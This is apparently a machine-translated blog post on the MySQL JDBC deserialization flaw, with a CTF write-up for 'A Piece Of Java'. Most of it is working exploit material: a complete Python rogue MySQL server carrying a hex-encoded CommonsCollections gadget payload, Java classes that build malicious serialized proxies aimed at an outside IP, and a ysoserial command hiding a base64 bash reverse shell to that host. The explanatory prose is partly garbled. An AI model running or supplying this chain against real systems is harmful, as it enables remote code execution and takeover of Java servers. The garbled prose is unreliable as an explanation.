MySQL JDBC Deserialization Vulnerability
The earliest suggestion should be a topic in the BlackHat Europe 2019 conference. The picture below is a screenshot of the machine flip.
JDBC is a Java API that defines how clients access databases. JDBC is an interface, and JDBC Driver is the implementation of the interface. The following picture is an example on the rookie tutorial
Principle analysis
The first is the first exploitable parameter autoDeserialize in the connected url, which is also the deserialization point of the vulnerability. The objIn.readObject() located in com.mysql.cj.jdbc.result.ResultSetImpl.getObject()
is a bunch of If the judgment statement meets the conditions, it will be deserialized. The main condition is that autoDeserialize is turned on, and the data type is binary or Blob. If it is serialized data, readObject (the first two bytes of the serialized object in Java are -84 and -19)
The following is the calling point of this method, which is also the reason for setting the second parameter queryInterceptors. com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor is an interceptor. When the attribute queryInterceptors is set to ServerStatusDiffInterceptor in the JDBC URL, the query statement will be executed. The preProcess
sum method of the interceptor is called, and postProcess
the two goods will be called againpopulateMapWithSessionStatusValues方法
populateMapWithSessionStatusValues方法
, which is called after getting SHOW SESSION STATUS
the query result of the statementResultSetUtil.resultSetToMap静态方法
Continue to follow up resultSetToMap方法
, there is getObject方法
a call to (deserialization point), pay attention to the value of the columnindex parameter, and two columns are required in the subsequent payload
The final attack chain is as follows
jdbc:mysql://attacker/db?
queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
&autoDeserialize=true
Use python to build malicious MySQL service
The implementation of fnmsd supports both ServerStatusDiffInterceptor and detectCustomCollations . The implementation in
Tri0mphe's article is more suitable for novice learning. Specifically, it only responds to "SHOW SESSION STATUS", and only needs to capture and analyze the response packet. According to the official document, imitate its The structure is enough, and there is no need to deeply understand the MySQL private protocol.
The structure of the official example result set response packet is shown in the figure
Exp
(Add a note to the exp in the article for easy understanding):
# -*- coding:utf-8 -*-
#@Time : 2020/7/27 2:10
#@Author: Tri0mphe7
#@File : server.py
import socket
import binascii
import os
greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_ok_data="0700000200000002000000"
def receive_data(conn):
data = conn.recv(1024)
print("[*] Receiveing the package : {}".format(data))
return str(data).lower()
def send_data(conn,data):
print("[*] Sending the package : {}".format(data))
conn.send(binascii.a2b_hex(data))
def get_payload_content():
#file文件的内容使用ysoserial生成的 使用规则 java -jar ysoserial [common7那个] "calc" > payload
file= r'payload'
if os.path.isfile(file):
with open(file, 'rb') as f:
payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')
print("open successs")
else:
print("open false")
#calc
payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
return payload_content
# 主要逻辑
def run():
while 1:
conn, addr = sk.accept()
print("Connection come from {}:{}".format(addr[0],addr[1]))
# 响应初始查询
# 1.先发送第一个 问候报文
send_data(conn,greeting_data)
while True:
# 登录认证过程模拟 1.客户端发送request login报文 2.服务端响应response_ok
receive_data(conn)
send_data(conn,response_ok_data)
#其他过程
data=receive_data(conn)
#查询一些配置信息,其中会发送自己的 版本号
if "session.auto_increment_increment" in data:
_payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'
send_data(conn,_payload)
data=receive_data(conn)
# 响应随后而来的"SHOW WARNINGS"
elif "show warnings" in data:
_payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
send_data(conn, _payload)
data = receive_data(conn)
if "set names" in data:
send_data(conn, response_ok_data)
data = receive_data(conn)
if "set character_set_results" in data:
send_data(conn, response_ok_data)
data = receive_data(conn)
# 特殊响应"SHOW SESSION STATUS" 发送payload的位置,
if "show session status" in data:
mysql_data = '0100000102' # Protocol::LengthEncodedInteger 结果集有多少列
mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000' # Protocol::ColumnDefinition 列的定义
mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000' # EOF_Packet的位置,这里重发了一遍ColumnDefinition只是修改了序列号为03
# 为什么我加了EOF Packet 就无法正常运行呢??
#获取payload
payload_content=get_payload_content()
#计算payload长度
payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)
payload_length_hex = payload_length[2:4] + payload_length[0:2]
#计算数据包长度
data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)
data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex # ProtocolText::ResultsetRow 结果集
mysql_data += str(payload_content)
mysql_data += '07000005fe000022000100' # EOF_Packet的位置
send_data(conn, mysql_data)
data = receive_data(conn)
#特殊响应随后而来的"SHOW WARNINGS"
if "show warnings" in data:
payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
send_data(conn, payload)
break
if __name__ == '__main__':
HOST ='0.0.0.0'
PORT = 3309
sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#当socket关闭后,本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间
sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sk.bind((HOST, PORT))
sk.listen(1)
print("start fake mysql server listening on {}:{}".format(HOST,PORT))
run()
Example: [Yangcheng Cup 2020] A Piece Of Java
Keywords: Java deserialization, JDBC and MySQL deserialization utilization The
code logic is very straightforward, the hello route will decode and deserialize the cookie
The tools used for searching can be seen to introduce commons-collections, https://mvnrepository.com/artifact/org.nibblesec/serialkiller/3.0
But the whitelist is set, and the cc chain cannot be used directly.
The hello route is also called after deserialization info.getAllInfo()
. ctrl+H searches for the implementation of the interface, and goes to the DatabaseInfo
class. It getAllInfo()
is just a simple character splicing, but there is another one checkALLInfo方法
here that directly splices the username and so on, and the call connect方法
can be made. jdbc deserialization
Through the global search to find the calling method, you can see that the InfoInvocationHandler
(Info proxy class) also implements the Serializable interface and can be serialized. Its invoke method will call the method
of this.info (the incoming info class is Databaseinfo)checkALLInfo
When serialized, it will be packaged Databaseinfoi.getAllInfo
by InfoInvocationHandler
dynamic proxy and then serialized, and it will be triggered when deserialized
info.getAllinfo()->InfoInvocationHandler.invoke()->Databaseinfo.checkAllInfo()->Databaseinfo->connect()
exp
import gdufs.challenge.web.model.*;
import gdufs.challenge.web.invocation.InfoInvocationHandler;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Proxy;
import java.util.Base64;
public class Myexp {
public static void main(String[] args) throws Exception{
/*
* databaseinfo * */
DatabaseInfo databaseinfo=new DatabaseInfo();
databaseinfo.setHost("118.31.76.240");
databaseinfo.setPort("7777");
databaseinfo.setUsername("root");
databaseinfo.setPassword("root&userSSL=false&autoDeserialize=true&allowPublicKeyRetrieval=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor");
/*
* infoInvocationHandler * */
InfoInvocationHandler infoInvocationHandler=new InfoInvocationHandler(databaseinfo);
/*
* info */
Info info=(Info)Proxy.newProxyInstance(databaseinfo.getClass().getClassLoader(),databaseinfo.getClass().getInterfaces(), infoInvocationHandler);
/*
* 接下来按照源代码序列化的info用base64打出来
* */
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream=new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(info);
objectOutputStream.close();
String str=new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray()));
System.out.println(str);
}
}
reflection exp
import gdufs.challenge.web.invocation.InfoInvocationHandler;
import gdufs.challenge.web.model.DatabaseInfo;
import gdufs.challenge.web.model.Info;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.util.Base64;
public class exp {
public static void setFieldValue(Object obj, String fieldname, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(obj,value);
}
public static byte[] serialize(Object o) throws Exception{
try(ByteArrayOutputStream baout = new ByteArrayOutputStream();
ObjectOutputStream oout = new ObjectOutputStream(baout)){
oout.writeObject(o);
return baout.toByteArray();
}
}
public static void main(String[] args) throws Exception {
Info databaseInfo = new DatabaseInfo();
setFieldValue(databaseInfo, "host", "118.31.76.240");
setFieldValue(databaseInfo, "port", "7777");
setFieldValue(databaseInfo, "username", "any");
setFieldValue(databaseInfo, "password", "any&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor");
Class clazz = Class.forName("gdufs.challenge.web.invocation.InfoInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Info.class);
construct.setAccessible(true);
InfoInvocationHandler handler = (InfoInvocationHandler) construct.newInstance(databaseInfo);
Info proxinfo = (Info) Proxy.newProxyInstance(Info.class.getClassLoader(), new Class[] {
Info.class}, handler);
byte[] bytes = serialize(proxinfo);
byte[] payload = Base64.getEncoder().encode(bytes);
System.out.print(new String(payload));
}
}
The malicious MySQL server directly uses the above one
to generate the payload in the Linux java1.8 environment
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzExOC4zMS43Ni4yNDAvNzk5OSAwPiYx}|{base64,-d}|{bash,-i}" > payload
Then start the malicious server, put the payload file in the same directory, and send the package directly to postman
reference:
https://i.blackhat.com/eu-19/Thursday/eu-19-Zhang-New-Exploit-Technique-In-Java-Deserialization-Attack.pdf
https://xz.aliyun.com/t/8159
https://paper.seebug.org/1227/
https://blog.csdn.net/fmyyy1/article/details/12270676